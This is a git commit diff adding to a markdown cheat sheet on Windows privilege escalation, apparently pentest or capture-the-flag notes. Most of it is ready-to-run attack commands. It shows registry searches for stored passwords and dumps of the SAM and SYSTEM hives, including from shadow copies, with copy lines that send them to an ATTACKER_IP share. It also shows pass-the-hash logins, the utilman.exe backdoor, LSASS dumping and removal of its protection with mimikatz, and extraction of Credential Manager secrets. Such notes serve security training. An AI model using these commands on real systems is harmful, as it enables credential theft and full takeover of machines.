added priv esc for windows
This commit is contained in:
		
							parent
							
								
									62756e0aad
								
							
						
					
					
						commit
						9a18fefd36
					
				| 
						 | 
					@ -1,6 +1,7 @@
 | 
				
			||||||
# Windows Privilege Escalation
 | 
					# Windows Privilege Escalation
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Links
 | 
					## Links
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* [Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
 | 
					* [Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
 | 
				
			||||||
* [PowerShellEmpire](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)
 | 
					* [PowerShellEmpire](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)
 | 
				
			||||||
* [JAWS](https://github.com/411Hall/JAWS)
 | 
					* [JAWS](https://github.com/411Hall/JAWS)
 | 
				
			||||||
| 
						 | 
					@ -17,9 +18,11 @@
 | 
				
			||||||
* __System__, local system, final escalation
 | 
					* __System__, local system, final escalation
 | 
				
			||||||
* __Local Service__, got anonymous connections over network.
 | 
					* __Local Service__, got anonymous connections over network.
 | 
				
			||||||
* __Network Service__, default service account, authentication via network
 | 
					* __Network Service__, default service account, authentication via network
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Enumeration
 | 
					## Enumeration
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Users & Groups
 | 
					### Users & Groups
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
whoami /priv
 | 
					whoami /priv
 | 
				
			||||||
net users
 | 
					net users
 | 
				
			||||||
| 
						 | 
					@ -35,6 +38,7 @@ qwinsta
 | 
				
			||||||
* [powershell](../../../../enumeration/windows/powershell.md)
 | 
					* [powershell](../../../../enumeration/windows/powershell.md)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### System
 | 
					### System
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
hostname
 | 
					hostname
 | 
				
			||||||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
 | 
					systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
 | 
				
			||||||
| 
						 | 
					@ -48,15 +52,42 @@ wmic product get name,version,vendor
 | 
				
			||||||
wmic service list brief | findstr  "Running"
 | 
					wmic service list brief | findstr  "Running"
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Logfiles and Registry
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					cmdkey /list
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					* Keys containing passwords
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					reg query HKLM /f password /t REG_SZ /s
 | 
				
			||||||
 | 
					reg query HKCU /f password /t REG_SZ /s
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### AD Credentials
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Check AD's NTDS, SYSVOL
 | 
				
			||||||
 | 
					* Check user description of AD users
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Exploit
 | 
					## Exploit
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* __Use found credentials__
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					runas /savecred /user:<domain\user> reverse_shell.exe
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### DLL Hijacking
 | 
					### DLL Hijacking
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* [DLL hijacking](../../../../exploit/windows/dll_hijacking/dll_hijacking.md)
 | 
					* [DLL hijacking](../../../../exploit/windows/dll_hijacking/dll_hijacking.md)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Unquoted Service Path
 | 
					### Unquoted Service Path
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* [unquoted service path](../../../../exploit/windows/docs/unquoted_path.md)
 | 
					* [unquoted service path](../../../../exploit/windows/docs/unquoted_path.md)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Token Impersonation
 | 
					### Token Impersonation
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* `SeImpersonatePrivilege` is necessary, check via `whoami priv`
 | 
					* `SeImpersonatePrivilege` is necessary, check via `whoami priv`
 | 
				
			||||||
*  Hot Potato is best before Server 2019 and Windows 10 (version 1809)
 | 
					*  Hot Potato is best before Server 2019 and Windows 10 (version 1809)
 | 
				
			||||||
* [Potatos](../../../../exploit/windows/docs/potatoes.md)
 | 
					* [Potatos](../../../../exploit/windows/docs/potatoes.md)
 | 
				
			||||||
| 
						 | 
					@ -71,19 +102,6 @@ wmic service list brief | findstr  "Running"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* [Always install elevated](../../../../exploit/windows/docs/always_installed_elevated.md)
 | 
					* [Always install elevated](../../../../exploit/windows/docs/always_installed_elevated.md)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Search for Credentials
 | 
					 | 
				
			||||||
```sh
 | 
					 | 
				
			||||||
cmdkey /list
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
* Use found credentials
 | 
					 | 
				
			||||||
```sh
 | 
					 | 
				
			||||||
runas /savecred /user:<user> reverse_shell.exe
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
* Keys containing passwords
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
reg query HKLM /f password /t REG_SZ /s
 | 
					 | 
				
			||||||
reg query HKCU /f password /t REG_SZ /s
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
### accesschk64 Permissions
 | 
					### accesschk64 Permissions
 | 
				
			||||||
* Check access to files and folders
 | 
					* Check access to files and folders
 | 
				
			||||||
| 
						 | 
					@ -98,6 +116,7 @@ accesschk64 -wvu "file.exe"
 | 
				
			||||||
* Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.
 | 
					* Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### accesschk64 for Services
 | 
					#### accesschk64 for Services
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
accesschk64 -qlc "service.exe"
 | 
					accesschk64 -qlc "service.exe"
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
| 
						 | 
					@ -113,9 +132,11 @@ sc start TheService
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Startup Application
 | 
					### Startup Application
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* Put reverse shell instead of an executable inside `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`  
 | 
					* Put reverse shell instead of an executable inside `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`  
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Password Mining
 | 
					### Password Mining
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* Set up metasploit
 | 
					* Set up metasploit
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
use auxiliary/server/capture/http_basic
 | 
					use auxiliary/server/capture/http_basic
 | 
				
			||||||
| 
						 | 
					@ -235,27 +256,39 @@ icacls C:\Path/to/service.exe /grant Everyone:F
 | 
				
			||||||
* `whoami /priv`
 | 
					* `whoami /priv`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### SeBackup / Restore
 | 
					#### SeBackup / Restore
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened
 | 
					* If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened
 | 
				
			||||||
* Download `SAM` and `System` hashes
 | 
					* Download `SAM` and `System` hashes
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
reg save hklm\system C:\Windows\Temp\system.hive
 | 
					reg save hklm\system C:\Windows\Temp\system.hive
 | 
				
			||||||
reg save hklm\sam    C:\Windows\Temp\sam.hive
 | 
					reg save hklm\sam    C:\Windows\Temp\sam.hive
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					* or
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					copy C:\Windows\System32\config\sam \\ATTACKER_IP\
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
* Start smb server on attack machine
 | 
					* Start smb server on attack machine
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
copy C:\Windows\Temp\sam.hive \\ATTACKER_IP\
 | 
					copy C:\Windows\Temp\sam.hive \\ATTACKER_IP\
 | 
				
			||||||
copy C:\Windows\Temp\system.hive \\ATTACKER_IP\
 | 
					copy C:\Windows\Temp\system.hive \\ATTACKER_IP\
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* Dump the hashes
 | 
					* Dump the hashes
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
secretsdump.py -sam sam.hive -system system.hive LOCAL
 | 
					secretsdump.py -sam sam.hive -system system.hive LOCAL
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					* or meterpreter on target
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					hashdump
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* Use pass the hash to login 
 | 
					* Use pass the hash to login 
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
psexec.py -hashes <hash> administrator@$TARGET_IP
 | 
					psexec.py -hashes <hash> administrator@$TARGET_IP
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### SeTakeOwnership
 | 
					#### SeTakeOwnership
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* If `SeTakeOwnership` is set one can take ownership of every file or service.
 | 
					* If `SeTakeOwnership` is set one can take ownership of every file or service.
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
takeown /f C:\Windows\System32\Utilman.exe
 | 
					takeown /f C:\Windows\System32\Utilman.exe
 | 
				
			||||||
| 
						 | 
					@ -264,9 +297,7 @@ copy cmd.exe utilman.exe
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
* Log out, on the Login screen click on `Ease of Access`
 | 
					* Log out, on the Login screen click on `Ease of Access`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
#### SeImpersonate / SeAssignPrimaryToken
 | 
					#### SeImpersonate / SeAssignPrimaryToken
 | 
				
			||||||
 | 
					 | 
				
			||||||
* It is a rouge potato
 | 
					* It is a rouge potato
 | 
				
			||||||
* Execute process as another user
 | 
					* Execute process as another user
 | 
				
			||||||
* Service accounts operate through impersonation
 | 
					* Service accounts operate through impersonation
 | 
				
			||||||
| 
						 | 
					@ -277,3 +308,62 @@ socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
* Catch the potatoe executable from target via netcat
 | 
					* Catch the potatoe executable from target via netcat
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Volume Shadow Copy Service
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Take a look at the volumes at
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					vssadmin list shadows
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Copy `sam` and `system` from the shadow copy
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
 | 
				
			||||||
 | 
					copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Dump LSASS
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking `lsass.exe` -> `creat dumpfile`
 | 
				
			||||||
 | 
					* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Extract the dump via mimikatz
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					privilege::debug
 | 
				
			||||||
 | 
					sekurlsa::logonpasswords
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### LSASS Protection
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* If the dump cannot be created because it is protected change `RunAsPPL` DWORD to `1` under
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Alternatively use mimikatz
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					!+
 | 
				
			||||||
 | 
					!processprotect /process:lsass.exe /remove
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Windows Credential Manager
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Can be found via `Control Pane` -> `User Accounts` -> `Credential Manager`
 | 
				
			||||||
 | 
					* Alternatively, command line can be used
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					vaultcmd /list
 | 
				
			||||||
 | 
					vaultcmd /listproperties:"Web Credentials"
 | 
				
			||||||
 | 
					vaultcmd /listcreds:"web credentials"
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Extract the password via powershell script [Get-WebCredentials from nishang](https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1)
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					powershell -ex bypass
 | 
				
			||||||
 | 
					Get-WebCredentials
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Via mimikatz if administrative permissions have been gained
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					privilege::debug
 | 
				
			||||||
 | 
					sekurlsa::credman
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
		Loading…
	
		Reference in New Issue